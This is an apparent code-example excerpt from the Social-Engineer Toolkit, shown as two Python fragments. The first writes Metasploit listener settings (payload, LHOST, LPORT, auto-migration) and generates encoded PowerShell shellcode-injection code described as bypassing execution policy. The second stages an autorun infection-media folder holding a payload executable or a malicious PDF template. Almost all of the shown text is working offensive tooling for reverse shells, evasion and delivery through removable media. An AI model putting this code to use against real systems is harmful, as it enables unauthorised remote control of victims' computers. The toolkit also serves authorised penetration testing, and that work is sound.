                                filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                            filewrite.write("set PAYLOAD {0}\n"
                                            "set LHOST {1}\n"
                                            "set EnableStageEncoding {2}\n"
                                            "set ExitOnSession false\n"
                                            "set LPORT {3}\n"
                                            "exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))

    # here we do everything if pyinjection or multi pyinjection was specified
    if pyinjection == "on":
        injections = []
        # read in the file we need for parsing
        with open(os.path.join(core.setdir, "payload_options.shellcode")) as fileopen:
            payloads = fileopen.read()[:-1].rstrip()  # strips an extra ,
        payloads = payloads.split(",")
        # format: payload<space>port
        for payload in payloads:
            # format: payload<space>port
            payload = payload.split(" ")
            powershell_inject_x86 = payload[0]
            port = payload[1]
            core.print_status("Generating x86-based powershell injection code...")
            injections.append(core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86))
        multi_injection_x86 = ",".join(injections)

    # if its turned to off
    if multi_injection == "off" and pyinjection == "off":
        core.print_status("Generating x86-based powershell injection code...")
        x86 = core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86)

    # if we are specifying multi powershell injection
    if multi_injection == "on" or pyinjection == "on":
        x86 = multi_injection_x86[1:]  # remove comma at beginning

    # check to see if we want to display the powershell command to the user
    verbose = core.check_config("POWERSHELL_VERBOSE=")
    if verbose.lower() == "on":
        core.print_status("Printing the x86 based encoded code...")
        time.sleep(3)
        print(x86)

    with open(os.path.join(core.setdir, "x86.powershell"), "w") as filewrite:
        filewrite.write(x86)
    core.print_status("Finished generating powershell injection bypass.")
    core.print_status("Encoded to bypass execution restriction policy...")
コード例 #11
0
import os
import subprocess
from time import sleep

import src.core.setcore as core

# define metasploit path
definepath = os.getcwd()
msf_path = core.meta_path()
me = core.mod_name()
autorun_path = os.path.join(core.setdir, "autorun")

trigger = 0

if core.check_options("INFECTION_MEDIA=") == "ON":
    trigger = 1
    subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"
                     "mkdir {0} 1> /dev/null 2> /dev/null;"
                     "cp {1} {2} 1> /dev/null 2> /dev/null".format(autorun_path,
                                                                   os.path.join(core.setdir, "payload.exe"),
                                                                   os.path.join(autorun_path, "program.exe")),
                     shell=True).wait()

if os.path.isfile(os.path.join(core.setdir, "fileformat.file")):
    trigger = 2
    subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"
                     "mkdir {0} 1> /dev/null 2> /dev/null;"
                     "cp {1} {0} 1> /dev/null 2>/dev/null".format(autorun_path,
                                                                  os.path.join(core.setdir, "template.pdf")),
                     shell=True).wait()